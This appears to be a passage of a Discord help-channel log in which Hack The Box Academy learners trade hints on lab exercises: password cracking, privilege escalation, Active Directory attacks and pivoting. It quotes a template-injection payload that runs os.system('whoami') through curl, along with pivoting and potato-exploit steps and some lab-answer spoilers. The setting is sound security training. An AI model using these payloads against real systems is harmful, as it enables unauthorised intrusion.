modules

[teal dirge]

Hello i have a question, when im trying to use john to crack the password for zip hash with rockyou wordlist it returns nothing

I'm sure that rockyou wordlist exist in my directory

but when I tried doing the "john zip-hash.txt" and it is working just fine

[rustic sage]

Might be issue with how you specifying the wordlist?!

how you specifying the wordlist?

[teal dirge]

Im using this command "john --wordlist=/usr/share/wordlists/rockyou.txt zip-hash.txt"

I cant seem to send a screenshot here idk why

[west canopy]

try single quotes instead of double quotes

[acoustic owl]

read and follow #welcome

[rustic sage]

might be something wrong with formatting of rockyou.txt!

get your roles, and send a screenshot.

[west canopy]

maybe rockyou.txt isn't the right wordlist to use? Is this for password attacks module?

[dire basin]

how do I get general chat

how do I verify

[west canopy]

Scroll down a bit to "Connecting your accounts"
https://help.hackthebox.com/en/articles/5193100-welcome

[teal dirge]

Here now i'm able to send the screenshot

Idk why but when im cracking some ssh2john password with rockyou it works

[west canopy]

yep , your command did not error out , just rockyou.txt did not contain the word needed to match the hash

maybe try one of the wordlists found in the module Resources

[coarse escarp]

So I was trying to make a copy of the root directory like one of the modules suggested as a way to trick the system. That sorta worked? I was able to make it but not write or read. Just that it exists.

[fathom pendant]

You can't write to that file

Maybe ls in that directory to see what you can do

[west canopy]

ah , the legendary Getting Started - Privilege Escalation section

[coarse escarp]

I can make new directories

That's what I've been doing.

[fathom pendant]

But does that help you on this scenario?

[teal dirge]

Holy you're right! The password was not in rockyou but from mutated password list. I'm actually got confused since it returns like 1-2sec it way to fast.

[west canopy]

nice work 😉

[fathom pendant]

ls -la the .ssh directory in /root/ and see what seems interesting (hint; permissions) @coarse escarp

[coarse escarp]

Partially because I can write in certain folders.

[fathom pendant]

You don't need to write to anything

Maybe you can read a file you shouldn't

[west canopy]

he is still user1

[fathom pendant]

That too

Good catch

He still hasn't gotten to user2

Which is the important bit

[fathom pendant]

The path to root is user1 --> user2 --> root

You saw what you could do with sudo -l as user1

[coarse escarp]

Hot or cold?

[idle sigil]

Hey, I cannot seem to connect when I try to rdp into the target system via my kali and I cannot figure out why. Please help. 😦 I can connect to the target via psexec tho.

[west canopy]

in order to pass the hash with RDP , a certain registry key needs to be set

[idle sigil]

Hi, yes i have already done that

[eager ledge]

Hi I am doing Initial Enumeration of the Domain section of "ACTIVE DIRECTORY ENUMERATION & ATTACKS" module. To answer the first question, it requires us to SSH into the target machine. But when I do SSH, it connects but then exits immediately. I have tried adding -o PreferredAuthentications=password but to no avail. What am I doing wrong?

[idle sigil]

😮 it seems to work now after I updated and upgraded pkgs in my kali. 😄 thank you

[west canopy]

which vpn server are you on?

[coarse escarp]

I think I found something useful

gonna come back to this later

[smoky gyro]

guys, any hint about this challenge ? https://academy.hackthebox.com/module/77/section/844

the last one

[fathom pendant]

Start with getting to user2

sudo is the key

[smoky gyro]

done

[fathom pendant]

Check root for hidden directory

[smoky gyro]

||already took the key||

[fathom pendant]

My advice on that wasn't for you

[fathom pendant]

Use the key for root

[smoky gyro]

i think there is an error in my session ?

[fathom pendant]

Did you include the ----START and ----END lines

[smoky gyro]

yup

and there is no new lines in the end

[fathom pendant]

Try using a different text editor to paste into

[smoky gyro]

let me check

[eager ledge]

EU-Academy-4 Recommended

[solid moth]

thank you bro! i should've used the single quote. this really tells me that should be serious about everything during pentest!!!

[smoky gyro]

still got the same error

[smoky gyro]

||chomd 600 done too||

[fathom pendant]

Make sure your system is up-to-date, that's an odd error

[rustic sage]

5 is also on low rn lol.

[eager ledge]

I tried 2, and it doesn't work either.

[west canopy]

working fine on my end

US EAST pwnbox , US Academy 4 vpn

gonna crash now .

cheers 😉

[fiery crane]

anyone else not able to spawn targets?

[idle sigil]

academy went down for a few seconds a moment ago

[fiery crane]

I logged out, cleared cache and everything, but the target spawning button is just loading.

yep

[quick ingot]

Anyone... Need help on intro to deserialization attacks Skills assessment 2

[rustic sage]

@open hollow

[royal wyvern]

hey

Why can't I talk in general?

[rustic sage]

#welcome

[jade zephyr]

Where can I learn pwn as a beginner

[rustic sage]

https://academy.hackthebox.com/course/preview/intro-to-assembly-language
https://academy.hackthebox.com/path/preview/intro-to-binary-exploitation
https://pwn.college/

[drifting carbon]

Hi guys,

I’m currently stuck on the broken auth (bypass via parameter modification) level and running out of ideas. I’ve tried to brute-force the user_id parameter using a list of digits. I’ve also tried to brute-force the token parameter in the reset password section, and I’ve tried some tricks with Burp Suite. However, I don’t really know what else I can do or where exactly I should be brute-forcing.

If you guys have any suggestions, I would really appreciate it. Thanks!

[late moth]

the security information foundation path (cant remember the exact name)

[silk anchor]

If you didnt get this fixed try adding a line break after the end of key line, had this issue the other day and after some googling this was the issue

[normal sand]

Module: ACTIVE DIRECTORY ENUMERATION & ATTACKS
Section: External Recon and Enumeration Principles

Which two new IP addresses are they referring to cuz I see four?

Are the addresses 192.168.186.1 and 192.168.86.1 local addresses? So are the ones they're referring to 178.128.39.165 and 206.189.119.186?

[next bronze]

the first 2 are name servers, the other two are resolved IPs

[normal sand]

I'm failing to see the difference? Are the first two (192.168.186.1 and 192.168.86.1) ip addresses, not the IP addresses of ns1.inlanefreight.com and n2.inlanefreight.com?

[next bronze]

you're resolving the ips of ns1.inlanefreight.com and n2.inlanefreight.com against 192.168.186.1 and 192.168.86.1

[normal sand]

Please validate my understanding. So 192.168.186.1 and 192.168.86.1 are two random nameservers that nslookup used to find the A records for ns1.inlanefreight.htb and ns2.inlanefreight.htb?
So ns1.inlanefreight.htb resolves to 178.128.39.165
And ns2.inlanefreight.htb resolves to 206.189.119.186?

[next bronze]

yes

I wouldn't say they're random nameservers, they're just ns that your host is querying

[normal sand]

Ahh okay, so they're actually the nameservers that my host is configured to query first?

[next bronze]

yes

[normal sand]

Alrighty, thanks as always!

[pseudo kiln]

at the end of metasploit module, does below text ?

refer to this ?

[rustic sage]

@errant rover

[gentle fog]

HI i hope evryone is doing good

In the excersie of **SHELLS & PAYLOADS >> Automating Payloads & Delivery with Metasploit **

there is a question
"Exploit the target using what you've learned in this section, then submit the name of the file located in htb-student's Documents folder. (Format: filename.extension)"

when we try to enumerate it we find

PORT STATE SERVICE VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime Microsoft Windows USA daytime
17/tcp open qotd Windows qotd (English)
19/tcp open chargen
80/tcp open http Microsoft IIS httpd 10.0

for httpd there are total 5600+ exploits in Metasploit for HTTP how to choose the most suitable exploit for it

[pseudo kiln]

have you considered enumerating the version of the applications that run on HTTP or other services ?

[gentle fog]

can you guide me for the filter which should i use to specify the version of HTTP ?

[normal sand]

Sorry, I meant #starting-point 😅

[wary forge]

oh, I don't have access to this channel

[pseudo kiln]

This is the sort of question that indicates some missing knowledge in key IT areas, just my opinion. If you skipped InfoSec fundamentals, it might be better to work on tha first

[normal sand]

I think you can check #welcome to get access iirc.

[final shale]

Hey guys so what am i missing on the Nessus skill assessment module? The instance of parrot linux does not have the nessus software on it and i am not able to install it.

the same issue goes for the openVAS module

[wary forge]

exact thx

[silk anchor]

Accessed via browser, Use the target IP and the port number provided

[final shale]

geez thanks. totally missed that

[violet sparrow]

Trying again: Hey y'all I need some help I don't know if I am attacking the question wrong. I am on the a Linux fundamental's course specifically "Filtering Contents" The first question is just stumping me and I can not seem find the correct answer. I have done multiple combinations of the ss & netstat such as netstat | grep -Ev '127.0.0.1|::1' or ss -tuln | grep '0\.0\.0\.0' | grep -v '127\.0\.0\.1' | wc -l and I am just stumped. If someone could help me out I would appreciate it

[primal drift]

Can someone tell me: will be prizes for htb academy streak? Or its just for fun

[muted kindle]

hi ss accepts -4 for ipv4 conections
your tuln is correct u can add 4 like -tuln4
You should grep for LISTEN and pipe to grep invert '127.0' and confirm with wc -l

[violet sparrow]

Thank you for that, I appreciate it

[hexed lintel]

what to do here

[gray merlin]

If you want a /23 it has to start at 172.16.0.0.

[hexed lintel]

got it

[rustic sage]

👀

[feral nimbus]

just omit keyword localhost and use -4 for IPV4 as well

[rustic sage]

there is one more simple way to do that.

[feral nimbus]

Sure share it

[rustic sage]

I just did that today, use netstat -l.

[rustic sage]

Sure, let me find..

[spark spruce]

You will receive batches.

[feral nimbus]

I used this command:
||netstat -tl4 | grep -v "localhost"||

[rustic sage]

||netstat -ln4 | grep LISTEN | grep -v 127 | wc -l||

[shut vapor]

can anybody help me out with "Information Gathing - Web" skill assessment question " Perform active infrastructure identification against the host [https]://i.imgur.com. What server name is returned for the host?" I've tried:

• Curling the url and X-Served-By: cache-nyc-kteb1890092-NYC
• nmap -sC -sV and the best result I see is Server: Varnish
• Digging returns i.imgur.com is a CNAME that points to ipv4.imgur.map.fastly.net.

I'm just not sure what they're asking for at this point.

[west canopy]

try checking ||the http headers || 😉

[shut vapor]

Thank you... I was getting it with one of those commands it just didn't seem like an answer. ¯_(ツ)_/¯

kind of an easter egg on imgur's part I guess :^)

[west canopy]

yes its definitely unusual

[valid viper]

I still can't ping lab boxes and support seems to be out for the day. Can anyone help me please?

[inner geyser]

Working on the File Uploads Attacks module, Whitelist Filters. More of a Burp Intruder question than the exercise itself. This is an image from the section, with the response at the bottom "Only images are allowed." Some say 'extension not allowed'. If i know certain extensions aren't allowed up front (i.e. PHP) I can just ignore all the extensions with that same length, correct? The others I will just have to manually view the responses, and that's really the only way I can tell which extensions work and which do not?

[quick ingot]

What?

[snow quartz]

Hi. I'd like to ask about the Windows Privilege Escalation in the section SeImpersonate and SeAssignPrimaryToken. I wonder why there is a how can I find the COM server listening port in the command flag -l 53375 next to JuicyPotato.exe? Is this from the PID that we'd found from tasklist /svc?

[fathom pendant]

Does it match up, then yes

[next bronze]

-l is for the COM server listen port
https://github.com/ohpe/juicy-potato?tab=readme-ov-file#usage

[snow quartz]

i see. so what are the differences that we use the Netcat port that we usually use (8443)?

[fathom pendant]

The netcat command is a connection command

The point is to make it look like a normal connection to windows

[snow quartz]

ah got it, i understand now. thanks for the answer @fathom pendant @next bronze

[rustic sage]

F

[quasi wave]

I need some help with the File Transfers Module's Windows File Transfers section. This is for the second question. I am trying to get the win_upload.zip file from pwnbox to target VM. I read the section multiple times and even YouTubed an explanation of the section but never look at the answer. The thing is that I keep having trouble doing this no matter which upload method I pick I am having trouble with these PowerShell errors.

Can someone point me in the right direction as to what I'm doing wrong? I even took notes on the section and tried specifying the exact path of the file in PowerShell.

[cloud urchin]

The error says Net-Object is not a command

[silk anchor]

use New-Object

[quasi wave]

I came a little closer this way

[cloud urchin]

looks like the ftp requires a username and password, or at least a username

read the error, its in red

'the remote server returned an error: not logged in'

[quasi wave]

I see how to specify user and password in cmd prompt not powershell

how do I do it in PS?

[cloud urchin]

open chat gpt and paste your script, then say "how do i login anonymously with this one-liner"

[quasi wave]

ok

[cloud urchin]

you can even just paste the pic in

[silk anchor]

Are you hosting the ftp server? I would read over the FTP section again, the answers to your questions are in it.

[arctic sentinel]

Hello everyone, I am stuck in the Linux privilegde escalation skills assesment module... I am only missing 2 flags but I am running out of ideas

someone has done recently this module:

Seems that there are some credentials for the tomcat adm but I cant find them... I have read that I can obtain a root shell by an exploit to the sudo version but I also cant seem to find the right exploit....

Any help will be very appreciated 🙂

[west canopy]

have you tried visiting the tomcat page with your browser?

[arctic sentinel]

yes, and says I can edit a file

[west canopy]

It also says ||where users are defined ||

[arctic sentinel]

but I get access denied when I try to view that file

[west canopy]

which user are you trying to view it is?

[arctic sentinel]

as barry, seems that there are the credentials of the tomcat admin somewhere

but I have been looking for a long time and have not found them

[west canopy]

any other files in that directory that seem interesting?

[arctic sentinel]

I have tried all of them and I geta cces denied

[west canopy]

are you sure?

[arctic sentinel]

in the catalina folders are 2 files that I can see but there are no credentials

[dim wolf]

you have checked everything besides one file

[arctic sentinel]

the docker

[fathom pendant]

Not enough red arrows

[arctic sentinel]

i cant install docker since i am not root

[west canopy]

you are barry

[fathom pendant]

Take a look at Jared's modified screenshot, it highlights something you overlooked

[west canopy]

barry , incidentally, is part of the barry group .

all the files in the directory are owned by root . But then have permissions granted to either the root group, tomcat group , and... barry

[arctic sentinel]

I got it with vim

I found the password, I used vim instead of cat

[west canopy]

this command you just tried su barry tomcat-users.xml.bak does not make sense

su is used to switch users

[arctic sentinel]

I know... Ive been too many hours with this

now I am in the tomcat appliaction

!!!!!!!!!!!!!! nice!!!!

[autumn pilot]

careful with the spoilers

[fathom pendant]

Anyway; seems like it's resolved

[west canopy]

spoiler tags are not adequate?

[fathom pendant]

And it seems like @arctic sentinel might need to take a break

[autumn pilot]

well, you are giving out the answer to the exercise

[fathom pendant]

[west canopy]

look now you got me in trouble too now

No more screenshots with red arrows for you or anyone else now . I'm gonna have to find a new hobby.

okay i'm done being off topic .

[arctic sentinel]

sorry....

[west canopy]

no worries bro , it's all in good fun

[stiff urchin]

Today i was facing an issue with ftp attack some VPN servers mostly they located in US has issue with ftp configuration port 2121 was closed yet the correct answer was port 2121 it should be open!

[stiff urchin]

Common service attack module

[fathom pendant]

resetting targets a few times usually gets it to spawn

[stiff urchin]

Yep, i spent some time reseting and changing the VPN locations!

[fathom pendant]

it's a known thing with that lab

[vestal bloom]

Hi everyone!!!
I am stuck on the ATTACKING AUTHENTICATION MECHANISMS Skills Assessment module, need some help.
I've tried changing "accountType" to admin and encoding the token with my key as in Further JWT Attacks Exploiting jwk in the module, but it doesn't work, although the situation looks the same as described in the module. Need a hint 🙂

[proud notch]

Completely stuck on the skills assessment for intro to assembly language. I've figured out a bit for the first question but I'm stuck at a wall; the second question I'm completely stuck on. Can anyone help or DM for confirmation?

[next bronze]

#modules message
for the second question, the hint is pretty useful

[zinc nimbus]

@fathom pendant which inveigh release should i download im in AD Enumeration & Attacks - Skills Assessment Part II and trying to Crack this user's password hash and submit the cleartext password as your answer. https://github.com/Kevin-Robertson/Inveigh/releases

i think i downloaded Inveigh-net7.0-win-x64-nativeaot-v2.0.10.zip and used inveigh.exe but it never captured the CT***'s hash

[coarse escarp]

I'm having trouble gaining escalation priv. as I'm lost to where I should look in the /bin folder.

I'm trying to get to use2

I know I'm supposed to be looking for a file that has creds for user2 but I'd like a bit of a hint.

maybe a letter or number or something.

[proud notch]

Any tips on the first question? I've ||created a looping function and set a breakpoint at the end of the loop, then looked at the last 24 hex bytes of $rsp|| but I don't know what to do after that.

[next bronze]

read what I've linked

[next bronze]

where you run it also matters

[zinc nimbus]

i ran it uh on 172.16.7.60 with administrator's hash i was on Sq01 host

[next bronze]

there's another host you should have admin on

[zinc nimbus]

i tried with ms01 but error

[next bronze]

have you done the previous questions?

[zinc nimbus]

yes i only know sq01 host and ms01

ohh

wait im trolling

[proud notch]

Sorry I didn't see the link to the previous post, clarifying question for the shellcode we combine them as is or do we have to reverse them?

[next bronze]

just combine as is

[subtle rose]

Good afternoon everyone!
Is there a channel for Htb Machines! I have a question regarding the new seasonal machine that came online today. Thank you!

[fathom pendant]

i just downloaded the precompiled one from one of the AD targets

[zinc nimbus]

ok

i used Inveigh-net7.0-win-x64-nativeaot-v2.0.10.zip from inveigh and it looks like it worked i was able to get CT** hash

[zealous rune]

hi i'm on the password attacks module. Stuck on the question in the Attacking AD & NTDS.dit module that asks to submit a the password for John Marston

[fathom pendant]

So, dump thr NTDS.dit file

There's a whole set of methods

Also think of common username methodologies

[zealous rune]

I have tried generating a wordlist using cewl based on the website and used that with generated userlist from username_anarchy

i also used a list that I created manually using commoon username conventions

first.last flast firstlast etc.

[fathom pendant]

Try using a fast wordlist for passwords

[zealous rune]

thank u

[fathom pendant]

There's one shown in the section

[zealous rune]

one what?

[fathom pendant]

Wordlist

[zealous rune]

ah yes. I also have one in my wordlists folder on my box

[fathom pendant]

sigh

[zealous rune]

or i can try the one in the resources

[fathom pendant]

Use the wordlist shown in the section for password attacking this section

[zealous rune]

thanks

I thought I had done that alrady I'm probably getting confused tharshing around. Gonna try my username list with teh supplied password list in the resources

[fathom pendant]

it's not gonna have it

maybe the mutated list may have it, which is reused a fair bit

but look at the examples where they plug in a password list

use that

[zealous rune]

🙂

thanks i think I had u right the first time

[zealous rune]

a fast one

[zealous rune]

this is where i misunderstood.... i read "shown i the section" as "provided in the resources"

[fathom pendant]

if it was in the resources i would have said use mutated list

[zealous rune]

yep it's my bad

i'm on the right track now i think though thanks to your hints

i feel thick sometimes

[fathom pendant]

take a minute to read and your life is better

[zealous rune]

yes indeed

also i need to have an idea of what I have already done

[earnest imp]

hello everyone

[severe eagle]

Hey everyone The pivoting tunneling and port forwarding module anyone have issues with the socksoverRDP trying to copy to target flagged as virus will not copy?? anyone else had this issue and fiind resolve?

[earnest imp]

I have a issue with the Skills Assessmet i the module Windows Attacks & Defense

I'm not able to get any event log with the ID 4886 or 4887

of course I ran successfully the attack

[fathom pendant]

disable real-time protection

[fathom pendant]

are you checking on the PKI?

[severe eagle]

killa will try that now thank you

[neon wadi]

If you're still looking for this: On webadmin, forward SSH local port 3389 to 3389 on the 5.35 pivot machine; then SSH into the 5.35 machine and set up netsh interface portforward of 3389 from 5.35 to 6.25 port 3389. Now you can RDP from your attack box to the 6.25 machine.

[earnest imp]

I thik I'm confused. I tried to check event viewver inside DC2 machine

[severe eagle]

hey got passthat and loaded the dll but the exe says plugin wasnt loaded pritty buggy this one

[somber geyser]

Hello, hello, someone has already done the Broken Authentication Skills Assessment, I'm a little stuck

[fathom pendant]

steps simplified

1. load dll
2. rdp to second machine
3. set the exe on second machine
4. on first machine set up proxifier
5. rdp from first machine to 3rd machine

[severe eagle]

ok rdp to 2nd is that from the 1st machine cause the remote desktop need the proxy to work doesnt it?

[fathom pendant]

yes

by machine number i'm referring to the initial target; #1
the middle machine mentioned in the section; #2
and the final machine mentioned by the question; #3

[fathom pendant]

also you don't need the proxy for the second machine

just rdp to it from the first machine; you have direct access to it; read the text carefully for the ip and creds

[indigo shuttle]

use different dictionaries, don't just depend on one rockyou

[fathom pendant]

solo ingles

[west canopy]

have you completed the PKI - ESC 1 section? I recommend going back and reviewing it carefully. Specifically, what it says regarding Events 4886 and 4887 😉

[severe eagle]

Damm cannot get to third

networkwont work

[fathom pendant]

well you need to go from 1 --> 2 and set up the relevant tools

then once everything is set up you should be able to go 1 --> 3

[west canopy]

ah , are you discussing the SocksOverRDP section?

[severe eagle]

can i close 2 once setup to reduce network stress

[earnest imp]

yes I did it without difficulty. I cannot conect to PKI with RDP

[west canopy]

thats intended

[earnest imp]

I guess I cannot check the log thourgh Evet Viewver but directely with the commad lie

[fathom pendant]

yep :)

[fathom pendant]

Get-WinEvent

[west canopy]

Can you recall how you were able to connect to PKI before? In the PKI - ESC1 section?

[fathom pendant]

read the section, it tells you how to adjust for that situation 😉

but i believe so; as closing rdp doesn't log out of the session, technically. as you can re-rdp in and pick back up

[ionic geode]

Hey, on academy I'm trying to start a module, by clicking unlock, but nothing happens. Does anyone know why this might be?

For extra context, I have recently unlocked a differnt module and I have enough points to unlock it

[earnest imp]

I cannot connect through winRM to the PKI machine

[west canopy]

maybe test it on a different browser

[west canopy]

why not? Is it giving you any errors?

[ionic geode]

odd why did it work on safari but not brave

ty anyway

[west canopy]

brave might have javascript blocked or something

or some type of pop up blocker

[ionic geode]

probably

[fathom pendant]

brave has native popup/adblockers that you'd have to do some whitelisting to get HTB to work right

[ionic geode]

👍

[turbid echo]

Hello

Any hints for Whitebox pentesting type juggling?

I am literally banging my head against the wall

[west canopy]

Whitebox Attacks - Authentication Bypass?

[mighty sierra]

Hello guys !!

I'm Intrusionz3r0

I have a doubt about port forwarding 🙂

[turbid echo]

Yes

[turbid echo]

Which one?

[thick spire]

anyone here able to help get information on a pred?

[fathom pendant]

This isn't the server for that read #rules and reach out to police

[thick spire]

okay thank you,hes said some vile stuff so tryna get information on him before I called the police.

[mighty sierra]

I cannot perform the portforwarding because when I executed the next comand: ssh -L 1234:localhost:3306 ubuntu@10.129.224.78

Then I execute: netstat -natp | grep 1234
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
ubuntu@WEB01:~$

I don't know why the port forwarding don't work properly 😦

What am I doing wrogn?

[untold fox]

Anyone here good with Linux?

[untold fox]

I need to ask some questions for an application I am making

[turbid echo]

It is not local host. It is the target Server's IP

[mighty sierra]

Not working yet 😦

[fathom pendant]

if you suspect illegal activity call them (police). This server isn't a hacker for hire/rent server

[turbid echo]

The server on the other side of the tunnel.

Not the pivot box

[turbid echo]

Any hints?

[mighty sierra]

Let]

Let's try 🙂

The target has the port 3306 open locally so I want to access this port using my attacker machine by using portforwarding over SSH

So I cannot do it 😦

I cannot see it externaly so the only way is using a portforwarding

I want to use the SSH way

[fathom pendant]

are you doing the port-forwarding/pivoting module/have you done that module

[uneven oracle]

I’m trying to transfer a file using the “Bash” method, but nothing is happening. I’m not seeing any files after entering these commands.
Any insight?

[mighty sierra]

Yes I'm doing this but I cannot yet

[mighty sierra]

Show the a screenshoot bro !

[fathom pendant]

what section are you on?

[fathom pendant]

i don't see where 3306 is open, I see where 3389 would be open

since it's stating RDP

also it's much easier to just do ssh -D instead

[uneven oracle]

Well, actually, I’m getting a connection refused error.

[fathom pendant]

because you're misunderstanding what you're meant to do

also yeah; that IP won't work because it's just an example

adapt to your situation

[uneven oracle]

I’m all ears.👂🏽
And that’s my actual tun0 ip

[fathom pendant]

connection refused it could be that you need to use sudo

considering port 80 is < 1024

any port < 1024 requires sudo to open

[uneven oracle]

Sudo didn’t work…

[fathom pendant]

also; first statement "Connect to target webserver"

meaning you have to connect to the target/victim that's listening

[uneven oracle]

I’m currently ssh into target.

[fathom pendant]

do you have a web server running on port 80?

:))

[uneven oracle]

I was able to use a python server and transfer the files, no prop.

[fathom pendant]

if not; adapt to whatever port your webserver is running on

:))

connection refused == port not open or firewall prevented

[uneven oracle]

No? 🤔
Im confused.
Ok, so still start the python server on my host?

[fathom pendant]

yes

if you notice: the example is stating using a web server

and port 80 is default http

but if you're not default; you'll need to adapt

imo this scenario is something you'll rarely ever encounter

[turbid echo]

See it ends with 50 not 78

[fathom pendant]

that's actually not applicable in this scenario

that's just a visual aid

[uneven oracle]

So, where is my file?

[fathom pendant]

brother look at the third step

cat <&3

[uneven oracle]

🙂
Got it.
Not sure why this confused me.

[fathom pendant]

in this scenario for the question, I don't believe SQL is actually running, and this is just an example to help clarify

[turbid echo]

You didn't open a server. It says connection refused

[fathom pendant]

we're past that

look further down the screenshot

:)

[uneven oracle]

I got it goin.

[fathom pendant]

also i suggest taking actual screenshots instead of half-quality phone camera shots

makes it much easier to actually read (as long as you're not grabbing a 4k screen)

you're using a vm yeah?

[rustic sage]

Lol

[fathom pendant]

depending on your vm there's a host escape key and windows has the win+shift+s which is the screen snip tool

[uneven oracle]

Well, I use discord on my iPad, and I’m working on my laptop.
I didn’t want to do a bunch of extra stuff.

[fathom pendant]

well; it'll lead to better quality and easier parsing for others

[uneven oracle]

I’ll figure out a better workflow.

[fathom pendant]

or at the very least, learn how to aim at your laptop straight

instead of at a weird angle

[rustic sage]

💀😂

[turbid echo]

What the is output of your server?

[uneven oracle]

🙄
Thank you Marcie…

[turbid echo]

I solved it. I am confused still lol.

[uneven oracle]

Not sure what you mean.

[fathom pendant]

they figured it out

it was a simple issue between keyboard and chair

[uneven oracle]

Question 🙋🏽‍♂️
So, in the modules, we only have access to the target because we were given a vpn key.
How are they gaining access in a real attack?

[fathom pendant]

usually via explicit permission from the company

[mighty sierra]

Hey guys I understood the concept thank you so much for you amazing support !!

[fathom pendant]

either through an external web server; or through a direct connection

it just depends on the scope and the contract ¯_(ツ)_/¯

some want a full out to in; some only want to see what the damage could look like if it was just some internal threat actor

the CPTS exam is from the perspective of full Outside to In

[uneven oracle]

Right. I guess I’m thinking of full outside to in.
No access given at all.

[fathom pendant]

Break through DMZ (The device that would share an Interface with the VPN) to internal (Devices that share an internal network interface with the device)

usually via an exposed web-server

[uneven oracle]

Ok… I see.

[fathom pendant]

Web servers are by far the most common vector for threat actors to break in

it's why a portion of the course goes over surface level web vulns ¯_(ツ)_/¯

[uneven oracle]

Makes sense.
Still putting the whole big picture together in my head.

[muted kindle]

Hi

[fathom pendant]

don't try putting the picture together without all the pieces

just know that pivoting is a small piece of the puzzle

hence why it's important to learn

otherwise you'd be going from box to box from an internal host, and constantly transferring binaries/files

leaving a huge trace/mess to clean

[turbid echo]

What? :"D

[uneven oracle]

I mean, just the general concept and where common attack surfaces are.

[fathom pendant]

it's simple; how do most businesses reach customers -- via the web

a lot of the common services that get attacked are also backend services for web services

[uneven oracle]

Right.

[fathom pendant]

such as an SQL/Database backend

or file hosting server for downloads (FTP)

[uneven oracle]

It’s basically attacking a web app and getting a shell, then pivoting and escalating.

[fathom pendant]

yep

though in most cases you'd drop some form of persistence rather than a simple reverse shell; (but that goes beyond the scope of CPTS)

[muted kindle]

Thanks for teaching us marcie

[fathom pendant]

I just read a lot

But it really just depends

that's the whole crux of it;

you're not normally gonna find an exposed server that has EVERY service on it

[uneven oracle]

But what about attacking someone’s personal computer?
There is no web server or app.

[fathom pendant]

that's via social engineering

[uneven oracle]

Right…

[fathom pendant]

often a malicious file download that links their computer to your C2 server

[uneven oracle]

I see.

[fathom pendant]

because having them directly connect to your machine is a one way ticket to getting caught fairly quickly

but again attacking individuals is NOT part of HTB curriculum at all

and I doubt it will be

considering the legal implications that could come of it

[uneven oracle]

They don’t cover social engineering?

[fathom pendant]

no

[muted kindle]

pegasus malware 🤢

[fathom pendant]

Social engineering isn't really something that is easily taught

you need an actual test dummy to throw your attempts at

[uneven oracle]

Oh ok.
I feel like that’s in the OSCP

[fathom pendant]

it's not

[uneven oracle]

Hm

[fathom pendant]

the OSCP and CPTS cover similar domains

and Social Engineering dives more into Red Team than it does Penetration Testing

(it's not mutually exclusive, but you'll see Social Engineering attempts more in a Red Team operation)

[muted kindle]

They’ve got client side attack module there is a script simulating a user clicking email attachment

[fathom pendant]

there's some phishing

but it's not to the extent where they teach you how to set up a tool like GoPhish or other popular phishing tool

[uneven oracle]

I thought pen testing was emulating red team attacks. Basically.

[fathom pendant]

nope

completely different scopes

[uneven oracle]

Hm

[fathom pendant]

Red Team are still on the side of security btw

Red/Blue team are two sides of the same coin

Red Teams are meant to emulate a more sophisticated threat actor

[muted kindle]

From my understanding pentest focus is picking out vulns and usually there’s a strict scope while red team literally behave like real world threats and test the ability of your blue team and entire defense system?

[fathom pendant]

AV Evasion, C2 servers, etc.

[uneven oracle]

Right.
But blue is more soc analysts.

[fathom pendant]

basically PenTesting isn't a matter of getting caught -- it's a matter of finding weaknesses and often it doesn't matter
Red Teaming however takes it to another level; you don't want to get caught, period

[muted kindle]

Yeah like simulating APTs

[uneven oracle]

I hear you.

[fathom pendant]

to summarize someone that actually does red teaming: "pen-tests are meant to be comprehensive assessments and red team assessments are meant to represent a realistic threat actor"

but you could have a pen-test where they want you to be as quiet as possible, and red team engagements where they want you to make as much noise as possible

[uneven oracle]

They would seem similar, but have some differences in scope.

[severe eagle]

Hey got it marcielee thanks for that yeah internet was nightmare with it was done right just kept disconnecting even with the modem 56k

setting

[fathom pendant]

switch to the tcp vpn

[split glade]

I'm creating notes for the different kind of "remote password attacks" that are possible, and I have trouble finding a specific term. Currently I have:

- **Brute Force = user list + pass list**
- **Password Spraying = user list + 1 pass**
- **? = 1 user + pass list**
- **Credential Stuffing = list of user:pass combinations**

So how do you call trying to find the password for a specific user with a list of passwords?

like hydra -l username -P pass.list or kerbrute bruteuser

[west canopy]

there's no specific term that i know of . I would just call it "Bruteforcing a user's password."

I'm sure CompTIA is a bit more pedantic

actually, "bruteforcing" itself is somewhat of a colloquialism . A literal bruteforce is to test every single possible character combination until the right one is found. But in everday vernacular, bruteforcing is just the overarching term for the types of attacks you are describing.

[open hollow]

👋

[turbid echo]

Well, I am stuck at the skills assessment for Whitebox PenetrationTesting. I got Larry. Any advice? Or am I following a rabbit hole?

[split glade]

@west canopy Alright, thanks the answer. After searching on internet then asking 2 LLM and getting different answers every time that's also what I was going for, but I wondered if there was a specific, not widely used word for it.

[west canopy]

np 😉 just as an example from our Password Attacks module

we just say "bruteforce the password of the user sam"

[fathom pendant]

There's one instance of using a password spray; but that's in the AD enum and attacks module, in context you already have a foothold user and are doing further enumeration

[thorn hawk]

Good morning Good afternoon to all. I hope you are having an excellent Sunday. I have a question regarding the SSRF template injection example 2. During the exercise the author indicate to inject a Tornado payload to get the whoami on the system as such:

curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam

When I perform the same I get the same result as in the example but I dont see where is the whoami info.

<h3 style="text-align: center;"><em>Email 0 has been subscribed. You'll hear from us soon!</em></h3> --> This should be here but is not very clear what is the current account.

The same things happen when i try to get the ls content of the directory or cat something. No clear result. Any input is welcome. Thank you loads

[thorn hawk]

is it You&#39?

[fathom pendant]

no

' is html for ' or the apostrophe

"you'll hear from us soon!"

[daring ocean]

I have the same problem. Has anyone completed the 2nd question on KLEE in the binary fuzzing module? KLEE produces only one error " memory error: null page access" for me. But there should be two errors...

[thorn hawk]

is very strange because in the exercise i dont see where the whoami comes up. In that picture no whoami account is visible i think.

[fresh plinth]

try injecting another command and see how it differs

[thorn hawk]

yes .... i did this with multiple commands and checked also if the excericise server is ON also. I was getting in burp the same answer for all commands. The same when injecting commands with curl

[fresh plinth]

have you tried using single quotes instead of double quotes?

[thorn hawk]

good thought 🙂 but i am getting 500 internal error

[fresh plinth]

ok then im not sure :/ I haven't done this module so idk

[thorn hawk]

no stress 🙂 thank you for your input cydroz

[fierce mason]

can i dm someone about aen

[proud notch]

For Intro To Assembly Skill Assessment I believe that I have optimized the code correctly but I'm still not getting the flag. Can anybody double check to see if I'm missing something?

[next bronze]

check if the shellcode is under the limit, if it isn't, optimise some more

[normal sand]

Module: ACTIVE DIRECTORY ENUMERATION & ATTACKS
Section: Initial Enumeration of the Domain

When they list the types of setups a client may choose for testing, this is one of them:

